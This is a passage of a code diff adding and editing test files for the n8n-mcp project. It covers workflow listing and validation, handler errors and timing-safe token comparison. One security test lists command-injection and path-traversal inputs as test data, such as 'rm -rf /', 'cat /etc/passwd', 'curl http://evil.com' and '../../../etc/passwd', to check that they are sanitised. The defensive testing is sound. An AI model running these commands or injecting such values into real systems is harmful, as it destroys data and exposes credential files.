+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('List - No Pinned Data'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // List with excludePinnedData=true
+      const response = await handleListWorkflows(
+        { excludePinnedData: true },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Verify response doesn't include pinned data
+      data.workflows.forEach((w: any) => {
+        expect(w.pinData).toBeUndefined();
+      });
+    });
+  });
+
+  // ======================================================================
+  // Empty Results
+  // ======================================================================
+
+  describe('Empty Results', () => {
+    it('should return empty array when no workflows match filters', async () => {
+      // List with non-existent tag
+      const response = await handleListWorkflows(
+        { tags: ['non-existent-tag-xyz-12345'] },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.workflows)).toBe(true);
+      expect(data.workflows.length).toBe(0);
+      expect(data.hasMore).toBe(false);
+    });
+  });
+
+  // ======================================================================
+  // Sort Order Verification
+  // ======================================================================
+
+  describe('Sort Order', () => {
+    it('should return workflows in consistent order', async () => {
+      // Create multiple workflows
+      for (let i = 0; i < 3; i++) {
+        const workflow = {
+          ...SIMPLE_WEBHOOK_WORKFLOW,
+          name: createTestWorkflowName(`List - Sort ${i}`),
+          tags: ['mcp-integration-test', 'sort-test']
+        };
+        const created = await client.createWorkflow(workflow);
+        context.trackWorkflow(created.id!);
+        // Small delay to ensure different timestamps
+        await new Promise(resolve => setTimeout(resolve, 100));
+      }
+
+      // List workflows twice
+      const response1 = await handleListWorkflows(
+        { tags: ['sort-test'] },
+        mcpContext
+      );
+
+      const response2 = await handleListWorkflows(
+        { tags: ['sort-test'] },
+        mcpContext
+      );
+
+      expect(response1.success).toBe(true);
+      expect(response2.success).toBe(true);
+
+      const data1 = response1.data as any;
+      const data2 = response2.data as any;
+
+      // Same workflows should be returned in same order
+      expect(data1.workflows.length).toBe(data2.workflows.length);
+
+      const ids1 = data1.workflows.map((w: any) => w.id);
+      const ids2 = data2.workflows.map((w: any) => w.id);
+
+      expect(ids1).toEqual(ids2);
+    });
+  });
+});

tests/integration/n8n-api/workflows/validate-workflow.test.ts

@@ -0,0 +1,432 @@
+/**
+ * Integration Tests: handleValidateWorkflow
+ *
+ * Tests workflow validation against a real n8n instance.
+ * Covers validation profiles, validation types, and error detection.
+ */
+
+import { describe, it, expect, beforeEach, afterEach, afterAll } from 'vitest';
+import { createTestContext, TestContext, createTestWorkflowName } from '../utils/test-context';
+import { getTestN8nClient } from '../utils/n8n-client';
+import { N8nApiClient } from '../../../../src/services/n8n-api-client';
+import { SIMPLE_WEBHOOK_WORKFLOW } from '../utils/fixtures';
+import { cleanupOrphanedWorkflows } from '../utils/cleanup-helpers';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleValidateWorkflow } from '../../../../src/mcp/handlers-n8n-manager';
+import { getNodeRepository, closeNodeRepository } from '../utils/node-repository';
+import { NodeRepository } from '../../../../src/database/node-repository';
+import { ValidationResponse } from '../types/mcp-responses';
+
+describe('Integration: handleValidateWorkflow', () => {
+  let context: TestContext;
+  let client: N8nApiClient;
+  let mcpContext: InstanceContext;
+  let repository: NodeRepository;
+
+  beforeEach(async () => {
+    context = createTestContext();
+    client = getTestN8nClient();
+    mcpContext = createMcpContext();
+    repository = await getNodeRepository();
+  });
+
+  afterEach(async () => {
+    await context.cleanup();
+  });
+
+  afterAll(async () => {
+    await closeNodeRepository();
+    if (!process.env.CI) {
+      await cleanupOrphanedWorkflows();
+    }
+  });
+
+  // ======================================================================
+  // Valid Workflow - All Profiles
+  // ======================================================================
+
+  describe('Valid Workflow', () => {
+    it('should validate valid workflow with default profile (runtime)', async () => {
+      // Create valid workflow
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Valid Default'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // Validate with default profile
+      const response = await handleValidateWorkflow(
+        { id: created.id },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as ValidationResponse;
+
+      // Verify response structure
+      expect(data.valid).toBe(true);
+      expect(data.errors).toBeUndefined(); // Only present if errors exist
+      expect(data.summary).toBeDefined();
+      expect(data.summary.errorCount).toBe(0);
+    });
+
+    it('should validate with strict profile', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Valid Strict'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        {
+          id: created.id,
+          options: { profile: 'strict' }
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+      expect(data.valid).toBe(true);
+    });
+
+    it('should validate with ai-friendly profile', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Valid AI Friendly'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        {
+          id: created.id,
+          options: { profile: 'ai-friendly' }
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+      expect(data.valid).toBe(true);
+    });
+
+    it('should validate with minimal profile', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Valid Minimal'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        {
+          id: created.id,
+          options: { profile: 'minimal' }
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+      expect(data.valid).toBe(true);
+    });
+  });
+
+  // ======================================================================
+  // Invalid Workflow - Error Detection
+  // ======================================================================
+
+  describe('Invalid Workflow Detection', () => {
+    it('should detect invalid node type', async () => {
+      // Create workflow with invalid node type
+      const workflow = {
+        name: createTestWorkflowName('Validate - Invalid Node Type'),
+        nodes: [
+          {
+            id: 'invalid-1',
+            name: 'Invalid Node',
+            type: 'invalid-node-type',
+            typeVersion: 1,
+            position: [250, 300] as [number, number],
+            parameters: {}
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        { id: created.id },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Should detect error
+      expect(data.valid).toBe(false);
+      expect(data.errors).toBeDefined();
+      expect(data.errors.length).toBeGreaterThan(0);
+      expect(data.summary.errorCount).toBeGreaterThan(0);
+
+      // Error should mention invalid node type
+      const errorMessages = data.errors.map((e: any) => e.message).join(' ');
+      expect(errorMessages).toMatch(/invalid-node-type|not found|unknown/i);
+    });
+
+    it('should detect missing required connections', async () => {
+      // Create workflow with 2 nodes but no connections
+      const workflow = {
+        name: createTestWorkflowName('Validate - Missing Connections'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          },
+          {
+            id: 'set-1',
+            name: 'Set',
+            type: 'n8n-nodes-base.set',
+            typeVersion: 3.4,
+            position: [450, 300] as [number, number],
+            parameters: {
+              assignments: {
+                assignments: []
+              }
+            }
+          }
+        ],
+        connections: {}, // Empty connections - Set node is unreachable
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        { id: created.id },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Multi-node workflow with empty connections should produce warning/error
+      // (depending on validation profile)
+      expect(data.valid).toBe(false);
+    });
+  });
+
+  // ======================================================================
+  // Selective Validation
+  // ======================================================================
+
+  describe('Selective Validation', () => {
+    it('should validate nodes only (skip connections)', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Nodes Only'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        {
+          id: created.id,
+          options: {
+            validateNodes: true,
+            validateConnections: false,
+            validateExpressions: false
+          }
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+      expect(data.valid).toBe(true);
+    });
+
+    it('should validate connections only (skip nodes)', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Connections Only'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        {
+          id: created.id,
+          options: {
+            validateNodes: false,
+            validateConnections: true,
+            validateExpressions: false
+          }
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+      expect(data.valid).toBe(true);
+    });
+
+    it('should validate expressions only', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Expressions Only'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        {
+          id: created.id,
+          options: {
+            validateNodes: false,
+            validateConnections: false,
+            validateExpressions: true
+          }
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      // Expression validation may pass even if workflow has other issues
+      expect(response.data).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Error Handling
+  // ======================================================================
+
+  describe('Error Handling', () => {
+    it('should handle non-existent workflow ID', async () => {
+      const response = await handleValidateWorkflow(
+        { id: '99999999' },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle invalid profile parameter', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Invalid Profile'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        {
+          id: created.id,
+          options: { profile: 'invalid-profile' as any }
+        },
+        repository,
+        mcpContext
+      );
+
+      // Should either fail validation or use default profile
+      expect(response.success).toBe(false);
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete validation response structure', async () => {
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Validate - Response Format'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleValidateWorkflow(
+        { id: created.id },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Verify required fields
+      expect(data).toHaveProperty('workflowId');
+      expect(data).toHaveProperty('workflowName');
+      expect(data).toHaveProperty('valid');
+      expect(data).toHaveProperty('summary');
+
+      // errors and warnings only present if they exist
+      // For valid workflow, they should be undefined
+      if (data.errors) {
+        expect(Array.isArray(data.errors)).toBe(true);
+      }
+      if (data.warnings) {
+        expect(Array.isArray(data.warnings)).toBe(true);
+      }
+
+      // Verify summary structure
+      expect(data.summary).toHaveProperty('errorCount');
+      expect(data.summary).toHaveProperty('warningCount');
+      expect(data.summary).toHaveProperty('totalNodes');
+      expect(data.summary).toHaveProperty('enabledNodes');
+      expect(data.summary).toHaveProperty('triggerNodes');
+
+      // Verify types
+      expect(typeof data.valid).toBe('boolean');
+      expect(typeof data.summary.errorCount).toBe('number');
+      expect(typeof data.summary.warningCount).toBe('number');
+    });
+  });
+});

tests/integration/security/command-injection-prevention.test.ts

@@ -0,0 +1,166 @@
+import { describe, it, expect, beforeAll } from 'vitest';
+import { EnhancedDocumentationFetcher } from '../../../src/utils/enhanced-documentation-fetcher';
+
+/**
+ * Integration tests for command injection prevention
+ *
+ * SECURITY: These tests verify that malicious inputs cannot execute shell commands
+ * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
+ */
+describe('Command Injection Prevention', () => {
+  let fetcher: EnhancedDocumentationFetcher;
+
+  beforeAll(() => {
+    fetcher = new EnhancedDocumentationFetcher();
+  });
+
+  describe('Command Injection Attacks', () => {
+    it('should sanitize all command injection attempts without executing commands', async () => {
+      // SECURITY: The key is that special characters are sanitized, preventing command execution
+      // After sanitization, the string may become a valid search term (e.g., 'test')
+      // which is safe behavior - no commands are executed
+      const attacks = [
+        'test"; rm -rf / #',      // Sanitizes to: test
+        'test && cat /etc/passwd',// Sanitizes to: test
+        'test | curl http://evil.com', // Sanitizes to: test
+        'test`whoami`',           // Sanitizes to: test
+        'test$(cat /etc/passwd)', // Sanitizes to: test
+        'test\nrm -rf /',         // Sanitizes to: test
+        '"; rm -rf / #',          // Sanitizes to: empty
+        '&&& curl http://evil.com', // Sanitizes to: empty
+        '|||',                    // Sanitizes to: empty
+        '```',                    // Sanitizes to: empty
+        '$()',                    // Sanitizes to: empty
+        '\n\n\n',                 // Sanitizes to: empty
+      ];
+
+      for (const attack of attacks) {
+        // Should complete without throwing errors or executing commands
+        // Result may be null or may find documentation - both are safe as long as no commands execute
+        await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
+      }
+    });
+  });
+
+  describe('Directory Traversal Prevention', () => {
+    it('should block parent directory traversal', async () => {
+      const traversalAttacks = [
+        '../../../etc/passwd',
+        '../../etc/passwd',
+        '../etc/passwd',
+      ];
+
+      for (const attack of traversalAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should block URL-encoded directory traversal', async () => {
+      const traversalAttacks = [
+        '..%2f..%2fetc%2fpasswd',
+        '..%2fetc%2fpasswd',
+      ];
+
+      for (const attack of traversalAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should block relative path references', async () => {
+      const pathAttacks = [
+        '..',
+        '....',
+        './test',
+        '../test',
+      ];
+
+      for (const attack of pathAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should block absolute paths', async () => {
+      const pathAttacks = [
+        '/etc/passwd',
+        '/usr/bin/whoami',
+        '/var/log/auth.log',
+      ];
+
+      for (const attack of pathAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+  });
+
+  describe('Special Character Handling', () => {
+    it('should sanitize special characters', async () => {
+      const specialChars = [
+        'test;',
+        'test|',
+        'test&',
+        'test`',
+        'test$',
+        'test(',
+        'test)',
+        'test<',
+        'test>',
+      ];
+
+      for (const input of specialChars) {
+        const result = await fetcher.getEnhancedNodeDocumentation(input);
+        // Should sanitize and search, not execute commands
+        // Result should be null (not found) but no command execution
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should sanitize null bytes', async () => {
+      // Null bytes are sanitized, leaving 'test' as valid search term
+      const nullByteAttacks = [
+        'test\0.md',
+        'test\u0000',
+      ];
+
+      for (const attack of nullByteAttacks) {
+        // Should complete safely - null bytes are removed
+        await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
+      }
+    });
+  });
+
+  describe('Legitimate Operations', () => {
+    it('should still find valid node documentation with safe characters', async () => {
+      // Test with a real node type that should exist
+      const validNodeTypes = [
+        'slack',
+        'gmail',
+        'httpRequest',
+      ];
+
+      for (const nodeType of validNodeTypes) {
+        const result = await fetcher.getEnhancedNodeDocumentation(nodeType);
+        // May or may not find docs depending on setup, but should not throw or execute commands
+        // The key is that it completes without error
+        expect(result === null || typeof result === 'object').toBe(true);
+      }
+    });
+
+    it('should handle hyphens and underscores safely', async () => {
+      const safeNames = [
+        'http-request',
+        'google_sheets',
+        'n8n-nodes-base',
+      ];
+
+      for (const name of safeNames) {
+        const result = await fetcher.getEnhancedNodeDocumentation(name);
+        // Should process safely without executing commands
+        expect(result === null || typeof result === 'object').toBe(true);
+      }
+    });
+  });
+});

tests/unit/mcp/handlers-n8n-manager.test.ts

@@ -723,6 +723,66 @@ describe('handlers-n8n-manager', () => {
     });
   });
 
+  describe('handleDeleteWorkflow', () => {
+    it('should delete workflow successfully', async () => {
+      const testWorkflow = createTestWorkflow();
+      mockApiClient.deleteWorkflow.mockResolvedValue(testWorkflow);
+
+      const result = await handlers.handleDeleteWorkflow({ id: 'test-workflow-id' });
+
+      expect(result).toEqual({
+        success: true,
+        data: testWorkflow,
+        message: 'Workflow test-workflow-id deleted successfully',
+      });
+      expect(mockApiClient.deleteWorkflow).toHaveBeenCalledWith('test-workflow-id');
+    });
+
+    it('should handle invalid input', async () => {
+      const result = await handlers.handleDeleteWorkflow({ notId: 'test' });
+
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Invalid input');
+      expect(result.details).toHaveProperty('errors');
+    });
+
+    it('should handle N8nApiError', async () => {
+      const apiError = new N8nNotFoundError('Workflow', 'non-existent-id');
+      mockApiClient.deleteWorkflow.mockRejectedValue(apiError);
+
+      const result = await handlers.handleDeleteWorkflow({ id: 'non-existent-id' });
+
+      expect(result).toEqual({
+        success: false,
+        error: 'Workflow with ID non-existent-id not found',
+        code: 'NOT_FOUND',
+      });
+    });
+
+    it('should handle generic errors', async () => {
+      const genericError = new Error('Database connection failed');
+      mockApiClient.deleteWorkflow.mockRejectedValue(genericError);
+
+      const result = await handlers.handleDeleteWorkflow({ id: 'test-workflow-id' });
+
+      expect(result).toEqual({
+        success: false,
+        error: 'Database connection failed',
+      });
+    });
+
+    it('should handle API not configured error', async () => {
+      vi.mocked(getN8nApiConfig).mockReturnValue(null);
+
+      const result = await handlers.handleDeleteWorkflow({ id: 'test-workflow-id' });
+
+      expect(result).toEqual({
+        success: false,
+        error: 'n8n API not configured. Please set N8N_API_URL and N8N_API_KEY environment variables.',
+      });
+    });
+  });
+
   describe('handleListWorkflows', () => {
     it('should list workflows with minimal data', async () => {
       const workflows = [
@@ -770,6 +830,103 @@ describe('handlers-n8n-manager', () => {
         },
       });
     });
+
+    it('should handle invalid input with ZodError', async () => {
+      const result = await handlers.handleListWorkflows({
+        limit: 'invalid',  // Should be a number
+      });
+
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Invalid input');
+      expect(result.details).toHaveProperty('errors');
+    });
+
+    it('should handle N8nApiError', async () => {
+      const apiError = new N8nAuthenticationError('Invalid API key');
+      mockApiClient.listWorkflows.mockRejectedValue(apiError);
+
+      const result = await handlers.handleListWorkflows({});
+
+      expect(result).toEqual({
+        success: false,
+        error: 'Failed to authenticate with n8n. Please check your API key.',
+        code: 'AUTHENTICATION_ERROR',
+      });
+    });
+
+    it('should handle generic errors', async () => {
+      const genericError = new Error('Network timeout');
+      mockApiClient.listWorkflows.mockRejectedValue(genericError);
+
+      const result = await handlers.handleListWorkflows({});
+
+      expect(result).toEqual({
+        success: false,
+        error: 'Network timeout',
+      });
+    });
+
+    it('should handle workflows without isArchived field gracefully', async () => {
+      const workflows = [
+        createTestWorkflow({ id: 'wf1', name: 'Workflow 1' }),
+      ];
+      // Remove isArchived field to test undefined handling
+      delete (workflows[0] as any).isArchived;
+
+      mockApiClient.listWorkflows.mockResolvedValue({
+        data: workflows,
+        nextCursor: null,
+      });
+
+      const result = await handlers.handleListWorkflows({});
+
+      expect(result.success).toBe(true);
+      expect(result.data.workflows[0]).toHaveProperty('isArchived');
+    });
+
+    it('should convert tags array to comma-separated string', async () => {
+      const workflows = [
+        createTestWorkflow({ id: 'wf1', name: 'Workflow 1', tags: ['tag1', 'tag2'] }),
+      ];
+
+      mockApiClient.listWorkflows.mockResolvedValue({
+        data: workflows,
+        nextCursor: null,
+      });
+
+      const result = await handlers.handleListWorkflows({
+        tags: ['production', 'active'],
+      });
+
+      expect(result.success).toBe(true);
+      expect(mockApiClient.listWorkflows).toHaveBeenCalledWith(
+        expect.objectContaining({
+          tags: 'production,active',
+        })
+      );
+    });
+
+    it('should handle empty tags array', async () => {
+      const workflows = [
+        createTestWorkflow({ id: 'wf1', name: 'Workflow 1' }),
+      ];
+
+      mockApiClient.listWorkflows.mockResolvedValue({
+        data: workflows,
+        nextCursor: null,
+      });
+
+      const result = await handlers.handleListWorkflows({
+        tags: [],
+      });
+
+      expect(result.success).toBe(true);
+      expect(mockApiClient.listWorkflows).toHaveBeenCalledWith(
+        expect.objectContaining({
+          tags: undefined,
+        })
+      );
+    });
   });
 
   describe('handleValidateWorkflow', () => {

tests/unit/mcp/parameter-validation.test.ts

@@ -74,12 +74,12 @@ describe('Parameter Validation', () => {
         }).toThrow('Missing required parameters for test_tool: nodeType');
       });
 
-      it('should pass when required parameter is empty string', () => {
+      it('should reject when required parameter is empty string (Issue #275 fix)', () => {
         const args = { query: '', limit: 10 };
-        
+
         expect(() => {
           server.testValidateToolParams('test_tool', args, ['query']);
-        }).not.toThrow();
+        }).toThrow('String parameters cannot be empty');
       });
 
       it('should pass when required parameter is zero', () => {

tests/unit/services/n8n-api-client.test.ts

@@ -381,12 +381,12 @@ describe('N8nApiClient', () => {
     });
 
     it('should list workflows with custom params', async () => {
-      const params = { limit: 10, active: true, tags: ['test'] };
+      const params = { limit: 10, active: true, tags: 'test,production' };
       const response = { data: [], nextCursor: null };
       mockAxiosInstance.get.mockResolvedValue({ data: response });
-      
+
       const result = await client.listWorkflows(params);
-      
+
       expect(mockAxiosInstance.get).toHaveBeenCalledWith('/workflows', { params });
       expect(result).toEqual(response);
     });

tests/unit/services/workflow-validator-edge-cases.test.ts

@@ -365,7 +365,28 @@ describe('WorkflowValidator - Edge Cases', () => {
   });
 
   describe('Special Characters and Unicode', () => {
-    it.skip('should handle special characters in node names - FIXME: mock issues', async () => {
+    // Note: These tests are skipped because WorkflowValidator also needs special character
+    // normalization (similar to WorkflowDiffEngine fix in #270). Will be addressed in a future PR.
+    it.skip('should handle apostrophes in node names - TODO: needs WorkflowValidator normalization', async () => {
+      // Test default n8n Manual Trigger node name with apostrophes
+      const workflow = {
+        nodes: [
+          { id: '1', name: "When clicking 'Execute workflow'", type: 'n8n-nodes-base.manualTrigger', position: [0, 0] as [number, number], parameters: {} },
+          { id: '2', name: 'HTTP Request', type: 'n8n-nodes-base.httpRequest', position: [100, 0] as [number, number], parameters: {} }
+        ],
+        connections: {
+          "When clicking 'Execute workflow'": {
+            main: [[{ node: 'HTTP Request', type: 'main', index: 0 }]]
+          }
+        }
+      };
+
+      const result = await validator.validateWorkflow(workflow as any);
+      expect(result.valid).toBe(true);
+      expect(result.errors).toHaveLength(0);
+    });
+
+    it.skip('should handle special characters in node names - TODO: needs WorkflowValidator normalization', async () => {
       const workflow = {
         nodes: [
           { id: '1', name: 'Node@#$%', type: 'n8n-nodes-base.set', position: [0, 0] as [number, number], parameters: {} },
@@ -381,9 +402,10 @@ describe('WorkflowValidator - Edge Cases', () => {
           }
         }
       };
-      
+
       const result = await validator.validateWorkflow(workflow as any);
       expect(result.valid).toBe(true);
+      expect(result.errors).toHaveLength(0);
     });
 
     it('should handle very long node names', async () => {

tests/unit/utils/auth-timing-safe.test.ts

@@ -0,0 +1,130 @@
+import { describe, it, expect } from 'vitest';
+import { AuthManager } from '../../../src/utils/auth';
+
+/**
+ * Unit tests for AuthManager.timingSafeCompare
+ *
+ * SECURITY: These tests verify constant-time comparison to prevent timing attacks
+ * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+ */
+describe('AuthManager.timingSafeCompare', () => {
+  describe('Security: Timing Attack Prevention', () => {
+    it('should return true for matching tokens', () => {
+      const token = 'a'.repeat(32);
+      const result = AuthManager.timingSafeCompare(token, token);
+      expect(result).toBe(true);
+    });
+
+    it('should return false for different tokens', () => {
+      const token1 = 'a'.repeat(32);
+      const token2 = 'b'.repeat(32);
+      const result = AuthManager.timingSafeCompare(token1, token2);
+      expect(result).toBe(false);
+    });
+
+    it('should return false for tokens of different lengths', () => {
+      const token1 = 'a'.repeat(32);
+      const token2 = 'a'.repeat(64);
+      const result = AuthManager.timingSafeCompare(token1, token2);
+      expect(result).toBe(false);
+    });
+
+    it('should return false for empty tokens', () => {
+      expect(AuthManager.timingSafeCompare('', 'test')).toBe(false);
+      expect(AuthManager.timingSafeCompare('test', '')).toBe(false);
+      expect(AuthManager.timingSafeCompare('', '')).toBe(false);
+    });
+
+    it('should use constant-time comparison (timing analysis)', () => {
+      const correctToken = 'a'.repeat(64);
+      const wrongFirstChar = 'b' + 'a'.repeat(63);
+      const wrongLastChar = 'a'.repeat(63) + 'b';
+
+      const samples = 1000;
+      const timings = {
+        wrongFirst: [] as number[],
+        wrongLast: [] as number[],
+      };
+
+      // Measure timing for wrong first character
+      for (let i = 0; i < samples; i++) {
+        const start = process.hrtime.bigint();
+        AuthManager.timingSafeCompare(wrongFirstChar, correctToken);
+        const end = process.hrtime.bigint();
+        timings.wrongFirst.push(Number(end - start));
+      }
+
+      // Measure timing for wrong last character
+      for (let i = 0; i < samples; i++) {
+        const start = process.hrtime.bigint();
+        AuthManager.timingSafeCompare(wrongLastChar, correctToken);
+        const end = process.hrtime.bigint();
+        timings.wrongLast.push(Number(end - start));
+      }
+
+      // Calculate medians
+      const median = (arr: number[]) => {
+        const sorted = arr.slice().sort((a, b) => a - b);
+        return sorted[Math.floor(sorted.length / 2)];
+      };
+
+      const medianFirst = median(timings.wrongFirst);
+      const medianLast = median(timings.wrongLast);
+
+      // Timing variance should be less than 10% (constant-time)
+      const variance = Math.abs(medianFirst - medianLast) / medianFirst;
+
+      expect(variance).toBeLessThan(0.10);
+    });
+
+    it('should handle special characters safely', () => {
+      const token1 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
+      const token2 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
+      const token3 = 'xyz!@#$%^&*()_+-=[]{}|;:,.<>?';
+
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
+      expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
+    });
+
+    it('should handle unicode characters', () => {
+      const token1 = '你好世界🌍🔒';
+      const token2 = '你好世界🌍🔒';
+      const token3 = '你好世界🌍❌';
+
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
+      expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
+    });
+  });
+
+  describe('Edge Cases', () => {
+    it('should handle null/undefined gracefully', () => {
+      expect(AuthManager.timingSafeCompare(null as any, 'test')).toBe(false);
+      expect(AuthManager.timingSafeCompare('test', null as any)).toBe(false);
+      expect(AuthManager.timingSafeCompare(undefined as any, 'test')).toBe(false);
+      expect(AuthManager.timingSafeCompare('test', undefined as any)).toBe(false);
+    });
+
+    it('should handle very long tokens', () => {
+      const longToken = 'a'.repeat(10000);
+      expect(AuthManager.timingSafeCompare(longToken, longToken)).toBe(true);
+      expect(AuthManager.timingSafeCompare(longToken, 'b'.repeat(10000))).toBe(false);
+    });
+
+    it('should handle whitespace correctly', () => {
+      const token1 = 'test-token-with-spaces';
+      const token2 = 'test-token-with-spaces '; // Trailing space
+      const token3 = ' test-token-with-spaces'; // Leading space
+
+      expect(AuthManager.timingSafeCompare(token1, token1)).toBe(true);
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
+      expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
+    });
+
+    it('should be case-sensitive', () => {
+      const token1 = 'TestToken123';
+      const token2 = 'testtoken123';
+
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
+    });
+  });
+});

tests/unit/utils/node-utils.test.ts

@@ -0,0 +1,130 @@
+import { describe, it, expect } from 'vitest';
+import { getNodeTypeAlternatives, normalizeNodeType, getWorkflowNodeType } from '../../../src/utils/node-utils';
+
+describe('node-utils', () => {
+  describe('getNodeTypeAlternatives', () => {
+    describe('valid inputs', () => {
+      it('should generate alternatives for standard node type', () => {
+        const alternatives = getNodeTypeAlternatives('nodes-base.httpRequest');
+
+        expect(alternatives).toContain('nodes-base.httprequest');
+        expect(alternatives.length).toBeGreaterThan(0);
+      });
+
+      it('should generate alternatives for langchain node type', () => {
+        const alternatives = getNodeTypeAlternatives('nodes-langchain.agent');
+
+        expect(alternatives).toContain('nodes-langchain.agent');
+        expect(alternatives.length).toBeGreaterThan(0);
+      });
+
+      it('should generate alternatives for bare node name', () => {
+        const alternatives = getNodeTypeAlternatives('webhook');
+
+        expect(alternatives).toContain('nodes-base.webhook');
+        expect(alternatives).toContain('nodes-langchain.webhook');
+      });
+    });
+
+    describe('invalid inputs - defensive validation', () => {
+      it('should return empty array for undefined', () => {
+        const alternatives = getNodeTypeAlternatives(undefined as any);
+
+        expect(alternatives).toEqual([]);
+      });
+
+      it('should return empty array for null', () => {
+        const alternatives = getNodeTypeAlternatives(null as any);
+
+        expect(alternatives).toEqual([]);
+      });
+
+      it('should return empty array for empty string', () => {
